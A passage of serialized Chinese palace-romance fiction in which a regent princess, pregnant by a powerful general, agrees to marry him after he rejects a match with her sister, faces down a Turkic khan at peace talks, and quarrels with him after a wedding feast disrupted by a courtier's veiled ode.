司妤却仍是忧心的,她知道弟弟,没有坏心,但也没什么斗志,此时说得?好好的,努力几天,又松懈了。 若在兴盛时期,他任用贤能,尚能做个?中庸君王,可在这乱世,要平定天下,以他的能力却远远不够。 她想,也许能让他早日成婚,早日诞下皇嗣,说不定在皇子里能挑出可担天下之人,那样也不错。 40-50 第41章 第 41 章 高盛走后, 宁州再传捷报,郑纬以三万人奇袭突厥大军两?次,阿蓝吉受挫, 提出议和。 大兴虽胜了两?次, 但并未动十五万大军之筋骨,此时议和也是?不错的时机, 所以司妤同意?了,派使臣前去宁州议和。 突厥却狮子大开?口,要割朔州云州二地,还要公主和亲, 要赔款,丝毫不退让, 于是?仗又继续打起来, 大兴这边开?始失利, 主将郑纬被?箭射伤,只能由副将顶上。 郑纬对阵突厥, 是?高盛的谋略,为的就是?要以少胜多, 让对方受挫,从而同意?议和,但郑纬负伤却是?意?外, 大兴此时是?打不过突厥的,真苦战起来, 国内又要生乱。 正是?危难之时, 好消息传来, 高盛击溃屈继先,屈继先狼狈逃亡, 高盛迅速班师回朝。 得到这奏报,司妤几?乎是?喜出望外。她就知?道战事交给高盛绝不会有?问题,他回来,突厥那边也能稳住了。 此时已是?两?个多月过去,正是?天寒地冻,大雪纷飞,突厥十五万兵马在?外,兵马困顿,虽胜多败少,但也无力久战,又听闻屈继先之危已解,高盛回朝,便?再次提出休战议和。 天太冷,士兵挨饿受冻,争战对双方都是?极大的损失,大兴同意?了,再次与突厥议和。 这关头,司妤却开?始感受到史书?上许许多多君主的恐慌,便?是?权臣功高盖主。 突厥之危,郑纬立了大功,而郑纬为高盛所举荐;屈继先之难,也是?高盛所平;因为高盛能速战速决,及时回朝,也因他威名在?外,所以突厥畏惧,再次提出议和,大兴之危才解。 相比起来,她这个坐守京师的公主就显得暗淡无光,这样一来,原本在?诛杀安朝烈后皇室力量勉强能和西凉军较量一下,到现在?却又是?西凉军威势盖过皇室,若高盛再立几?次战功,那就算他不是?皇帝,也成了事实?上的君主。 司妤忧虑几?日,在?高盛回京之际,召来了严淮密谈。 严淮是?高盛提拔,但他出身士族,心向朝廷,如今又是?丞相,往往还算公正。 听完司妤的话,严淮道:“公主之忧,也是?臣之所忧。西凉军功劳越大,威信便?越大,军中人期望也越大,那些?骁兵悍将出生入死,谁不想立从龙之功,日后封侯拜相?此事甚至不是?太尉所能主宰,纵使他无反心,他驭下之人,也要逼着他反!” 严淮这话十分?直接,甚至比司妤自己看到的还要透彻、还要可怕。如高盛这等强将,只能有?个比他更强的君主,偏偏皇帝羸弱,她又是?个女人,提不起刀,拉不开?弓,上不了战场。 她问:“严相可有?办法,防患于未燃?” 若在?盛世,当然就是?夺了强将兵权,或是?直接杀了他,但现在?的大兴不行。 严淮道:“太尉本为忠臣,但时势造英雄,乱世也能将人改变,换言之,忠奸只在?太尉一念之差。臣以为,皇室可与太尉结亲,这样太尉便?成了皇亲国戚,也成了外戚,有?这层身份,太尉若要有?异心,便?会成为篡逆之臣,被?后世口诛笔伐。” 司妤非常认同严淮的话,外戚篡权,比普通诸侯篡权更违背忠信礼义,自然更不能为天下人所接受,高盛篡位前,也要好估量一番。 所以,便?将他订死在?外戚的身份上,给他全?族荣华富贵,却让他无法再进一步。 司妤看向严淮,目光交汇间,两?人都想到了一个身份:驸马。 因为高盛没?有?子女,只能自己结亲,那只能是?驸马。 可是?,谁的驸马呢? 严淮很快低下头去。 司妤知?道他想起了什?么,那就是?自己和高盛的关系。 所以,她招高盛为驸马吗? 她下意?识就抗拒这样的安排。 第一,从感情上,她不想嫁给一个曾经肆意?践踏她的人,嫁给他,就好似他给她那些?侮辱都成了情趣;第二,若她嫁给他,那她是?妻,他是?夫,夫为妻纲,她要听他的,在?伦理上她居于下位,在?朝政上不是?更难盖过他? 以及,若同居一处,以后将会有?无穷无尽的麻烦。 所以他不能做她的驸马,只能…… 司妤心里有?些?黯然,但同时又清醒地知?道,那是?最好的安排。 两?日后,高盛凯旋。 那一日,漫天飞雪,高盛率军进城,直奔行宫,见过皇上与公主。 平身后,高盛越过皇上,看向他身旁的司妤,踌躇满志,神采飞扬,眉眼中带着几分得意,好似要邀功。 司妤一派肃穆,和他道:“屈继先、阿蓝吉,皆因太尉而平息,太尉乃肱骨之臣,居功至伟。” 高盛也和她说场面话:“自然是大兴之威严,皇上之威严,这些?宵小本是?叛逆之师,在?大兴国威面前不战自溃。” 司妤道:“今皇上与我欲重赏太尉,追封太尉先父为清河侯,赐太尉万金,并许昌乐公主为太尉妻,赐太尉封号镇国驸马。” 高盛半晌没?回话,抬起头来看向她,疑心自己听错了。 前面追封他爹,赐什?么万金,这都正常,但后面什?么昌乐公主,什?么驸马他就不懂了,是?说让他娶她那个妹妹? 他疯了还是?她疯了? 他问:“公主的意?思是?,将公主的妹妹、昌乐公主许给我做妻,封我做什?么驸马?” 司妤端正回道:“正是?,镇国驸马。” 高盛一时间竟笑了出来,是?被?实?实?在?在?气笑的。 所谓嘉奖他,就是?让他娶她妹妹?真亏她想得出来! 他笑完,看向她道:“还是?你们皇家人看得开?,姐姐才和我睡过,就要把妹妹嫁给我,公主不嫌膈应我还嫌呢!” “你……”未料他竟当众说这种话,司妤脸上一阵红一阵白,斥责的话还没?说出来,他就一转身,竟拂袖而去,将她和皇上晾在?这里。 皇上无措地看向她,她一下一下吸气,又是?羞愤,又是?气恼,她想过他会不愿意?,也想过怎样和他讨价还价,但没?想到他会公然这样说,还直接离去。 所以接下来怎么办?他反应如此激烈,如果让他娶别的宗室女呢?似乎效果远不如让他娶公主,或是?让长?庆县君为后? 高盛怒气冲冲出行宫,回到自己府上,王小桃早已迎过来,才要说话,刚开?口,便?见高盛直接拔刀砍了旁边一棵紫薇花树。 王小桃吓了一跳,连忙问:“表叔,怎么了?” 高盛也不说话,一路走一路砍,将园中花木砍得稀巴烂,然后进屋去,“砰”一声砸上门。 隔了很久高盛才意?识到,上次在?松月楼她那样,也许单纯是?他妈的想男人了。 她心情不好,拿他发泄呢!当时要不是?他找过去,是?梅棠、是?宋之洵,她都会扑上去! 昌乐公主,去他妈的昌乐公主,她竟然要他给她当妹夫! 真是?他妈的一家子都豁得出去,难怪她弟弟养男宠呢,都他妈一路货色! 高盛气得够呛,待在?屋中半天没?出来,直到王小桃担心他,去找来了李风华。 高盛又将李风华晾在?外面许久,过了一个多时辰,他才勉强平复心情,让李风华进来。 李风华才得知?是?为驸马之事,立刻问:“太尉拒绝了?” 高盛“嗯”了一声,事实?是?不只拒绝了,还把她讥讽了一顿。 李风华肯定道:“太尉拒绝得好。”随即解释道:“我想,公主此计明为嘉奖,实?则是?让太尉成为外戚、成为皇家女婿,此后碍于外戚身份,寸步难行。” 高盛沉默不作声。 为什?么是?昌乐,而不是?她自己,他也明白了,因为她主政,她为君,所以绝不能成为他的妻子,这样在?名分?上就矮了他一头。 “但抗旨不遵,也被?捏住了把柄,公主若是?以此为由发难,褫夺太尉军功,或是?削官降职,趁机扶持他人,对太尉来说也十分?不妥。”李风华道。 高盛紧握了剑柄,咬牙道:“这气我不会受,真把我逼急了,别怪我不客气!” 大不了兵刃相见,她不是?总说要鱼死网破吗,那就破来试试! 李风华见他面露杀气,立刻劝解道:“属下认为此事倒是?可以商议,如果公主愿意?加封太尉为异姓王,尊呼九千岁,以及,拜太尉为左相,再压严淮一头,如此也可行。” 大兴立国之初就规定,除司姓宗室外,异姓不可封王,当年哪怕功臣之首也只是?封的侯,若他封这了王,称了这九千岁,那与皇帝便?是?一步之遥,自然是?震惊天下,如此也能大大强过驸马这个身份,甚至将它盖过。 高盛看他一眼,回道:“公主不会同意?的。” 这对她来说,也是?狮子大开?口。 “那便?不能答应,要么,允其中至少两?条,要么,就如此僵持,突厥大军还未退,等他们卷土重来,攻入京师也来得及。” 高盛看了李风华一眼,眼含震慑,沉声道:“我先是?大兴人,而后才是?太尉,突厥先在?边境杀人劫掠,之后兵临城下大放厥词,我绝不会放过!” 李风华低下头去:“是?属下失言,太尉说的是?,属下的意?思,至少公主比太尉急。” 高盛不再说话。 因此事僵持,以致得胜之师的封赏也迟迟未敲定,就在?朝中上下疑惑议论时,一封密报送进了太尉府。 高盛看了密报,不由一笑,似乎有?几?分?气恼,又有?几?分?不屑,但更多的却像是?欢喜。 他在?房中坐了一个多时辰,终于拿定主意?,起身入宫求见司妤。 司妤也正在?焦灼中,突厥议和成为拉锯战,双方无法达成统一,眼看就要再次开?战;高盛这边也陷入僵局,如果依抗旨之罪来罚他,他不定要怎样还击,那其实?算是?两?败俱伤,也是?她不愿看到的。 当然,还有?一件更让她头疼的私事,只是?谁也不能说。 所以高盛主动来求见,她一边期待他新的表态,一边又心情复杂。 第42章 第 42 章 上?次高盛盛怒之下?离去, 这次再见,他却又神采奕奕起?来,似乎胜券在握。 司妤问:“太?尉求见, 有何事?” 高盛将她上?下?打量一眼, 正?让她微恼,他回道:“我愿意做驸马, 但不是做昌乐公主的驸马,而?是做长公主的驸马。” 司妤立刻道:“那不可能!” “如若不可能,那就没什么好说的,我之前在战场上?摔下?了马, 当时觉得没事,现在偶尔觉得头?疼, 恐怕是伤到了脑子?, 想告假休养几个月。”高盛慢悠悠道。 司妤慌了, 他是要称病? 如果他称病,突厥会怎么做?外面那些佞臣又会不会趁机来攻京城? 她厉声道:“高盛, 你这是用大兴之安危威胁我?” “是啊,我就是威胁公主, 反正?天下?是司家的,与我何干?公主不愿嫁给我,那就去嫁给那阿蓝吉吧, 听闻他已有十五个妻子?,这公主一下?子?又多了好多姐妹呢, 不怕寂寞了。” “你……你……”司妤气得口齿都有些不清, 而?隐隐又升出几分委屈来, 愤怒地看着?他。 最后她道:“突厥若攻来京城,也不会放过?你, 更不会放过?长庆县君!” “是啊,所以我也不想用突厥大军来威胁公主,公主嫁给我对我们双方都是最好的局面。我做了驸马,成了司家的女婿,与公主成了一家人,公主的敌人就是我的敌人,这不都是公主想要的吗? “更何况,公主也不用担心?打胎出问题了,万一落个终身不孕,或是一尸两命多不好?” 司妤瞳孔一缩,惊愕地看向?他。 此事十分隐秘,连她自己都是前天发现,他怎么会知道? 很快她就意识到问题,立刻问:“你在我宫中安插了奸细!” 高盛此时正?色道:“我知道阿蓝吉挑衅,说要公主亲自去与他谈,若公主同意,我与公主一起?去,阿蓝吉必退兵。” 司妤沉默了,她无法立刻拒绝,也无法同意。 半晌她平静回道:“是,我是有孕,但你又怎么知道这是你的孩子?呢?” 高盛一下?子?被问住了,气了半天,最后咬牙道:“因为公主一知道怀孕就在找人打胎,如果是别人的,公主绝不会这么干脆果断。” 司妤无言以对。 她确实始料未及。那日从松月楼下?来,大军就出征,随后她又去太?后寝宫,再之后又有宁州战报,当天忙得水都喝不上?一口,她早已将喝避孕汤药的事忘得九霄云外。 而?且高盛也离了京,她见不着?人,只能见着?军情奏报,见着?军情奏报就想的是战事,哪里能记起?这些! 自从战事起?,她心?力交瘁,月事早已不准,所以这几个月也没往这方面想,直到她开始反酸,想吐,连身边人也疑心?,才在慌乱之下?找人来诊脉,没想到竟真是。 这件事让她措手不及,唯一能想到的就是瞒下?此事,不声不响打掉胎儿,当作没有过?这事。 谁知他却不知什么时候在她身边安插了奸细。 这足以说明他的可怕、他的居心?不良,这样的情况下?若嫁给他、生下?两人的孩子?,那将会引起?多么难以预测的局面、导致多大的麻烦? 怪只怪自己那天太?冲动。 “太?尉先退下?吧,此事我想想。”最后她说。这一招他打得她毫无防备,能只暂且搁置,得片刻喘息。 高盛二话没说,朝她行礼,干脆地退下?了。 司妤自己在屋中坐了许久,随后将如缨叫上?前来,吩咐道:“核查一下?我身边的人,有嫌疑的逐出宫中。” “是。” 话才说完,宫人来报,昌乐公主来了。 司妤一边按了按额头?,一边召见昌乐,昌乐进?来,小?心?道:“姐姐,让我嫁高盛之事,高盛是拒绝了吧,既然他拒绝,这事就不能再商量商量么?我……” 她说着?就哭起?来,“我知道姐姐也是无奈,可是……我真的好怕他,这两天我都会梦到屈继先,然后从梦里被吓醒,我要是嫁了高盛,一定活不了几天。” 司妤诧异地看向?她:“高盛和屈继先……还是不一样吧?” 昌乐伤心?道:“怎么不一样,又差多少?” 司妤想说,至少高盛没有很多女人啊,他比屈继先忠心?,比屈继先仁义,比屈继先能征善战,相貌也比屈继先好,而?且…… 后来她意识到,其实对她自己来说,并?没有那么排斥高盛,她自己只是害怕,害怕她会因为夫妻关系、因为孩子?而?越来越像个女人,最后心?软、志气消亡,对高盛抱有幻想,然后沦为俎上?鱼肉,葬送司家的江山和自己的性命,。 但对昌乐来说,嫁给高盛就是完全的牺牲品,与嫁给屈继先没有任何差别。 她深吸一口气,“你不必太?担心?,这事多半是不成了。” 昌乐一惊:“真的?” 司妤点头?:“他刚刚又来,仍是一样的选择,哪怕抗旨。” 昌乐松了一口气,欢喜道:“那就好。” 意识到国难当前,自己竟只关心?自己的婚事,昌乐有些歉疚,又露出忧心?来,问:“那怎么办呢?放任他权力越来越大,最后他谋反怎么办?” 高盛当初可是实实在在把控过?朝廷,软禁过?皇上?和太?后,甚至很可能杀了平州王,他从来就不是什么忠臣良将。 能怎么办,自然是按他说的,自己嫁给他。司妤想。 其实他也是有退让的,这样他的确成了司家的驸马,这便是她最初的目的。 只是,他听说是做昌乐的驸马,竟当众发怒,转身就走,得知她怀孕,又主动来同意做驸马……仅仅是因为,这个人是她吗?还是因为他想要一个皇室的孩子?? 再或者,这是李风华与他谋划的折中之策?他们都不想僵持之后两败俱伤,如此一来,他能以夫权慢慢蚕食她的权力,而?她为了让他做驸马、让他继续替朝廷平乱,也不得不如此选择。 “我嫁给他。”司妤说道。 她认了,只能这样。 昌乐有些吃惊,随即又觉得这样似乎不差,种种情绪,让她不知露出怎样的神情。 她并?不知道姐姐和高盛之前是怎么回事,好似他们可以是一对,但又怕姐姐是替自己牺牲。最后她选择闭嘴,什么也没说。 司妤当晚就让人去回了高盛,同意他的提议,然后隔一日,两人同往宁州去与阿蓝吉当面和谈。 宁州与京城相隔不远,轻车快行,两日就到,两边人马隔水对峙, 司妤坐在凤驾上?,从队伍中间缓缓驶上?前,停在了队首。 河宽不过?百步,若有箭法精妙的,举箭便能射过?来,而?突厥可汗阿蓝吉就无比嚣张骑马立在对岸,饶有兴致看着?这边。 司妤如今是大兴的当政者,但在这阿蓝吉眼里,她只是个美貌公主,所以眼里心?里都是不屑与挑衅。 她知道如此,便刻意朝身前护卫的兵卒下?令道:“你们让开,车再往前靠向?岸边。” 下?面听令,移去了两侧,车驾又继续往前,与阿蓝吉一样靠近河岸,互相对峙,彼此几乎能清晰看到对方脸上?的神情。 高盛就骑马坐在她车驾身旁,朝身旁人道:“取我弓来。” 兵卒便将弓箭呈上?,高盛接过?,朝司妤道:“他若敢动,我一箭可中他喉颈。” 这意思是让她不必惧怕。 司妤自然知道他的箭术,微弯了唇角,而?后微抬下?巴,目光威严且锐利,看向?对面的阿蓝吉。 她想,待天下?平定,今日突厥入侵之仇一定会报! 她朝对岸道:“阿蓝吉,我大兴国土一寸也不会让,要么你带着?钱与丝帛回去,要么我们便继续战下?去,不死?不休!” 高盛执弓坐在马背上?什么也没说,却是如猛虎般静静看着?对岸,似乎已在想着?如何将阿蓝吉一箭射下?来。 阿蓝吉原以为永宁公主只是个被权臣推上?去的美貌傀儡,也以为高盛虽强悍,但他要保存实力内斗,所以大兴已是强弩之末,再熬一熬、搏一把,就能取胜,可这时才发现这永宁公主美貌确实美貌,但比美貌更突出的,是她神情中的坚韧。 不是杀气,不是威势,而?是坚韧,就好像哪怕她手无寸铁,哪怕她气息奄奄,她也会狠狠盯着?你,然后用最后的力气咬你一口。 这样的敌人太?可怕,更何况她身边还有一个高盛。 高盛战场上?的威名他听说过?,他手下?将领他也领教过?,并?不可小?觑,而?他这人看上?去器宇轩昂,威风凛凛,目射寒光,见之令人生畏。 那一瞬间,他自己心?中的气势便弱了下?来,却还是笑了笑,朝对岸喊道:“那可不行,我这劳师远征,至少要割二州之一才划算,如若不割地,休想退兵!” 司妤突然下?令:“放箭——” 说完,高盛竟已张弓,一箭射向?阿蓝吉,阿蓝吉连忙偏身,那箭支堪堪从他颈边划过?。 一瞬间,两边人马隔水放起?箭来,司妤则由侍卫护着?后退,竟直接离开了河岸,再不欲和谈的样子?。 不是每个弓箭手都有高盛的臂力和箭术,隔这么远,箭只能射半程,就算射了过?来,也再没有余力穿透人骨肉。 所以两岸虽然对射了一通,但都没有大的伤亡,只有高盛那一箭让突厥军吓了一跳,阿蓝吉连续后退好几步,颇露狼狈之相。 最后两边人马撤退,这场议和就这么毫不愉快地结束。 高盛策马追上?司妤的车驾,到她身旁,笑了起?来:“看不出来,公主行事还有这么莽撞的时候。” 司妤回道:“我们不想战,他也不想,这种时候便看谁更不怕战。” 高盛觉得有道理,这便是以进?为退,两边都在犹疑,己方气势起?来,对方也就弱下?去了。 这场议和虽然无疾而?终,但因为她这样一言不合就放箭,对方也知道了她的底线,便是绝不割地。 他朝她道:“放下?帷幕吧,天冷,不要着?了凉。” 司妤有些错愕,过?一会儿回过?神,自己怀了孕,他怕自己受冻……竟然有一种,他是她丈夫的感觉。 她有些惶恐,什么也没说,让人放下?了车上?帷幕。 第43章 第 43 章 双方议和两天后继续, 这一次阿蓝吉没再口?出狂言,拿了大兴的赔偿乖乖撤兵回去了,也同意放之前劫掠的百姓回来。 朝廷上下?欢庆, 司妤却笑不?出来, 沉默着乘了车驾回京。 曾经的天朝上国,如?今去沦落至此?, 面对蛮夷入侵只能?委屈求和。明明被杀了官员、劫掠了百姓,最后却要送人大量金钱财物,要知道大兴自己的百姓尚且吃不?上饭……司妤觉得没什么好高?兴的,她希望有朝一日, 能?看见天下?平定,大兴的将领能?挥师北上, 灭了突厥。 会有那一天吗? 回京之后, 她与?高?盛婚讯公布, 自是朝野上下?震惊。 文臣与?武将,都很难预测未来的走向?, 一是公主竟下?嫁高?盛,二是高?盛竟做了驸马, 成了皇家女婿。 很难说谁占了上风,但仔细一想,或许正是因为谁也没占到上风, 所以才?有这一步,相对来说, 朝廷的力量更?统一了, 皇室与?西凉军拧成了一股绳。 有皇室正统和西凉军的骁勇, 如?屈继先余遂之流又如?何能?不?忐忑? 婚事安排得很快,从婚讯公布之时, 婚期就已定下?,不?过二十多天的准备时间,就在新年?之后。 照旧例,公主出嫁,当另建公主府,但公主当政,最好依然住在皇宫才?是;以及,驸马也当住在公主府,可太尉不?是普通官职,还有幕府,有御下?群臣,也不?太好搬入公主府。 所以最后将公主府位置定在了皇宫外的西南角。 那里原本就是太尉府、司徒府、司空府,以及尚书台、太常寺这些机构所在,与?皇帝寝宫也有近道相通,如?今将原有司空府置后,改为公主府,与?太尉府毗邻,这样?各不?耽误。 公主等同于还住在皇宫,反正打通与?皇宫通道,也就多走几?步的事,太尉可以白日在太尉府办公,晚上去公主府夜宿,这是少府给的方案,朝野上下?都觉得非常好,他们很能?琢磨事儿。 新皇宫还未完全搭建好,但公主府先赶在大婚前竣工了,虽然某些地方还未完善,花园也光秃秃的,但好歹先搬了再说。 婚礼当天,处处张灯结彩,百官来贺,热闹非凡。 司妤已有近四个月的身孕,好在天冷穿得多才?能?将她微微有显怀的身体遮住,不?致让人察觉——当然,等到婚后一两个月,肚子大得瞒不?住,别人也能?知道了。 拜天地时她也没有多想,因为没有精力和时间,既要顾忌着礼节,也要认真注意着高?盛有没有在婚礼上动手脚——双方之前为婚礼的事争执了许多,比如?按皇室旧例,公主在婚后地位虽比驸马高?一些,但这只表现在品级上,公主仍算出嫁,需要从宫中被迎出来,拜天地拜的是驸马的父母等等。 但司妤执政未稳,她并不?想从皇室嫁出去,成为“别家人”,所以改了礼数,不?从宫中被花轿迎出,而是高?盛来到宫中,先拜过先帝、太后;但高?盛也不?愿做一个赘婿身份,所以要求在皇宫拜过之后,司妤与?他一同从宫中出来,再至太尉府拜高?家先祖…… 总之,这场婚事不?合以往公主出嫁之礼,也不?合女家招赘婿之礼,一桩桩一件件都由双方派人条条核对,最后争了十几?天才?弄出两人都勉强同意的礼仪流程来,算是独一份。 就算如?此?,谁又能?保证到了太尉府,他不?会私底下?做小动作呢? 所以司妤并没有掉以轻心,时刻注意着是否与?商量好的一样?,好在高?盛似乎也无意在婚礼上再弄出争执,一切如?常。 拜完天地,送新人入洞房,两人在房中行?完最后的撒帐礼、饮合卺酒等,司妤却没有如?其他新妇一样?留在新房,而是与?高?盛一同出来宴客,甚至还是两人并行?,没有分先后。 众人看这大礼看得颇有意思,又因为菜肴、酒水、奏乐、歌舞都属上乘,于是都把酒言欢,十分尽兴。 梅棠也在场上,以往谈笑风声,今日却不?怎么说话,一杯一杯喝了很多酒。 卢慈见状,想着这人一度惹大哥不?高?兴,加上他本就看不?上这些以上等人自居的士人,一副清高?模样?,所以心念一动,当着身旁众臣的面大声朝梅棠道:“太乐令,听说太乐令弹琴好听,就像那天上神仙弹的,要不?然,今日公主太尉大喜,你给献上一曲,祝他们早生贵子?” 他纯粹是要恶心梅棠,梅棠也知道,并不?想回应他,只斜看了他一眼,没理。 卢慈最看不惯他们读书人这种眼神,怒了,立刻道:“怎么?太乐令这是不乐意献乐?莫非你对这婚事不?满意?” 梅棠懒懒回答:“喝多了酒,怕是弹不?好。” “重在心意嘛。”卢慈道。 旁边臣子有的怕卢慈发火,劝梅棠随便上去弹一曲,有的也想一饱耳福,便纷纷劝解,让梅棠上去弹奏,场面一度有些“盛情难却”的样?子,好像梅棠不?去就是真的对这婚事不?满。 他抿唇不?悦,最后道:“我只弹我自己的琴,琴不?在此?,弹不?出来。” “这有什么,我派人去取,骑马去取,一刻就到。”这儿是太尉府,卢慈熟悉得很,说着就叫来一名护卫,不?容分辩,就让人去梅棠住处取琴。 梅棠还来不?及拒绝,那护卫就已跑步离开,更?何况梅棠也没理由拒绝。 如?此?等了一刻左右,那护卫果然来了,将琴匣奉上。 卢慈不?掩得意道:“太乐令,请吧——” 因有人拿着琴匣来,原本不?坐附近的人也看到了,见是梅棠的琴匣,便都猜到是梅棠要献曲,正好卢慈也起?身开口?道:“公主,太尉,太乐令今日开心,想献首曲子庆贺大喜呢!” 司妤看看他,又看看梅棠,不?知怎么回事,高?盛也不?知道,但脸上神情中带着不?屑,似乎不?稀罕的样?子。 司妤只好道:“那有劳梅卿,我也好久没听到梅卿弹琴。” 梅棠便拿起?琴,朝座上拜了拜,携琴到了堂下?。 他拿出琴来,清幽的琴音从他手与?琴弦中流泄而出,很快就让喧哗的喜宴安静下?来。 随后,梅棠张口?,伴着琴声,唱出歌辞。 这歌辞众人之前都没听过,显然是梅棠自创,惹得场上众人纷纷低声赞许其才?华。 高?盛听不?懂他的歌辞水平怎么样?,就勉强听到什么“冰雪著身”,“暗香盈雪”,“北风销骨”,“碾落成泥”……他皱了皱眉,总觉得前面还好,但到了后面好像不?是什么好词。 梅棠该不?会故意在他喜宴上唱什么哀歌吧? 又看场上除了那些如?卢慈般没读过书的粗人没反应,其他文臣面色都有些异常,一个个全微低了头不?作声,高?盛便疑心有鬼,以眼神示意卢慈注意。 卢慈也看出不?对劲,连忙问另一旁的李风华:“他唱的什么?” 李风华道:“似乎是以白梅喻公主,暗示公主是白梅,一身傲骨,品性高?洁,却被寒风摧,零落淤泥中,局势是寒风,太尉便是淤泥。” “这意思就是公主一朵鲜花插在牛粪上呗?”卢慈气极,再想到是自己让梅棠上去弹琴的,自己有责任停息,便立刻起?身道:“太乐令,让你弹曲恭贺公主与?太尉大喜,你好大的胆子,竟敢弹这种哀乐,是你爹死?了还是你娘死?了?” 梅棠怒目圆睁看向?他,全不?回复,加重语气,一字一句唱完最后的歌辞。 气得卢慈当即上场,拿了他的琴,“砰”一声摔在了地上。 他力气大,这一摔,直接将琴摔成了两半。 司妤一见此?状便知不?好,因为这琴是梅棠爱琴,也是与?她的凤鸣齐名的天争,果然梅棠目眦欲裂,一把抽出身上佩剑来,大怒道:“村野匹夫,你欺人太甚!”说着就朝卢慈刺去。 卢慈本是武将,武功不?弱,立刻避开这剑,梅棠却也擅剑法,一刺不?中,再次挥剑。 高?盛立刻道:“还不?快将梅棠拿下?!” 他话音才?落,司妤开口?道:“梅卿,住手——” 梅棠依言停下?来,司妤道:“卢延冲,你为何公然砸坏梅叔容的琴?” 卢慈字延冲,此?时看一眼高?盛,忍下?怒气回道:“禀公主,这梅叔容在这种大喜场合奏哀乐、唱哀歌,臣以为该重罚!” 高?盛道:“先奏哀乐,又公然拔剑行?刺朝臣,婚宴之上见血也不?太好,便先将梅叔容押入大牢吧。” 司妤朝看向?高?盛:“驸马,梅叔容所奏为雅乐,所唱为咏梅歌,我向?来敬仰梅花凌寒傲骨之品性,我觉得此?乐好得很,何来哀伤?” 她称他为“驸马”,竟是为梅棠辩理。 论乐曲,论歌辞,高?盛还真说不?过她,便他知道梅棠之歌能?让卢慈这么生气,一定是唱了些不?该唱的东西,而司妤在存心偏坦他。 他很不?高?兴,但喜宴之上又不?想和她当众争执起?来,只好说道:“太乐令与?卢将军酒后失仪,扰乱喜宴,将这两人都带下?去,让他们去外面醒醒酒。” 如?此?各打五十大板,算是息事宁人,司妤也默认如?此?,侍卫便将两人带下?去了。 这插曲过后,喜宴继续,好歹捱到喜宴结束,最后一道礼:司妤与?高?盛乘凤驾与?白马前往公主府。 群臣恭敬送走二人,婚礼便结束了。 公主府也备下?了新房,而且是真正要给两人入洞房的新房,一进新房,高?盛便道:“今日我不?想闹得太难看,但梅棠该下?狱,公主不?会护着吧?” 这之前,他已经知道了那歌辞的意思,本就没平息的怒火更?盛。 司妤立刻反问:“为何要将他下?狱?若无卢慈挑衅在前,他怎会忍不?住拔剑?那琴可是天争,他视之如?性命!” 高?盛冷笑:“所以你是认同他唱的那些?” “他唱的哪些?咏梅咏竹咏荷本就是歌辞里常见的!”司妤语气也急促起?来,对着他道。 高?盛知道她在颠倒黑白,他这两年?也被逼着读了些书,知道诗词歌赋里常用的那些,什么借物咏志,借物抒情之类的,如?果梅棠没有那意思,宴上群臣不?会个个是那种神情,这证明所有人都会那样?理解! 他气得一把将她拽到面前,咬牙道:“不?讲道理是不?是?那我就不?讲了,信不?信我现在就下?令将那梅棠处死??谁拦也无用!” 司妤被他拽得重心不?稳,差点摔倒,不?由斥声道:“你做什么,我怀着身孕!” 高?盛看看她,哂笑一声,轻蔑道:“现在又急着往我身上扣了?是不?是我的种还不?一定呢!” “你……”司妤气得脸色都发红,抬起?手,一巴掌重重扇在他脸上。 这还是高?盛第一次挨耳光。 他一动不?动盯着司妤,司妤也一动不?动盯着他,好像下?一刻也要像梅棠卢慈二人当堂挥剑一样?。 高?盛甚至觉得她今天也有可能?带了匕首,随时会拔出来刺向?他。 他不?可能?还她一巴掌,又不?想继续激化此?时的剑拔弩张,便一转身,大步往门外而去。 第44章 第 44 章 走到门?背后, 却又?停了下来。 不管怎么样,他们今日成婚了,她就是他妻子, 他扔下她出去, 非常过分。 而且他也后悔刚才那句话,那更多是一时?冲动的?气?话。 停了片刻, 他又?回?来了,看向她:“不对,今晚是我洞房花烛,我为什么要?出去?” 说完就开始解腰带脱衣服。 吓得司妤后退一步, 又?怒又?带着紧张道:“你疯了?你……别乱来!” 高盛睨她一眼,不作声, 继续脱衣服下衣服, 脱完了厚重的?新郎喜服, 甩在一旁,然后扔下靴子躺到了床上。 司妤站在床边待了一会儿, 见他只?是睡下,并没有别的?动作, 才知?道他只?是待在房里不走了,倒还没那么昏头,真来对她怎么样。 但心里还是很气?, 她万万没想到,有一日自己?成婚, 会在洞房里听见那种话。 要?不是今晚是新婚夜, 京中许多眼光看着, 连她自己?都想一走了之,不想和?他同处一室。 高盛躺在床上, 几乎要?响起鼾声,司妤站了一会儿,才在床边坐下,最?后她也摘了头上金色的?花树冠,脱下喜服,在床沿上背朝他躺了下来,尽管他就睡在床中间,所留的?位置并不多,但两人之间还好像隔了一条河。 高盛扭头看她一眼,过了片刻,没话找话地开口道:“之前听说会害喜,现在好些了吗?” 司妤不想说话,没理他。 高盛原本想的?是,她要?是回?他了,他就去抱住她,向她道歉,自己?之前是胡说八道,但她不理,他就没办法,再想到那梅棠的?嘴脸,想到她今日当着文武百官的?面?偏袒梅棠,他的?气?又?来了。 说实话,他还真不知?道他们干没干过什么呢,那时?候梅棠天天往她跟前凑,她也好似很喜欢,孤男寡女同处一室也不是一两次。现在那姓梅的?猖狂到公然在婚礼上挑衅,她竟然还袒护,这不就是给他戴绿子吗? 越想越气?,他又?觉得自己?没错到哪儿去,于是往里侧去了一点,也没再说话了。 这一夜两人就这么过去,隔日一早,高盛先起床,司妤还在梳洗,他便离开公主府,去了隔壁太尉府。 卢慈早在太尉府门?前候着,见到他,立刻问:“大哥,那梅叔容怎么处置?” 高盛看他一眼,有些头疼,一边往前走着,一边说道:“就这样吧,放过他这一次。” “那怎么行!”卢慈一惊,急道:“他敢这样下大哥的?面?子,大哥还不追究,那叫别人怎么看我们?还真以为大哥做了长公主的?上门?女婿呢!” 上门?女婿,其地位等同于商人、罪犯,比如某些州县拉壮丁,会规定赘婿必须去,赘婿是实实在在的?低人一等,太尉做驸马只?是娶了公主,怎么能算是上门?女婿,矮公主一截呢? 昨日宴会上,很明?显梅棠是公主的?人,卢慈是太尉的?人,如果让人看到公主的?人那样大逆不道太尉都没反应,这无异于告诉众人,太尉什么也不是。 到时?候,会有更多的?朝臣与?将领倒向公主一边。 高盛也知?道,但他很清楚司妤会维护梅棠到底,而他又?不想在这时?候和?她争。 高盛不出声,卢慈越发着急:“大哥,不能这样,好歹要?将他押进大牢关几天!” 高盛回?头看他:“听说是你逼他上场弹琴的??” 卢慈不说话了,好半天才吞吞吐吐道:“我是看不惯他那副样子,也没想到他还能耍那种花招……” “你也不该摔他的?琴,摔了琴,就是有理变无理了。”高盛说。 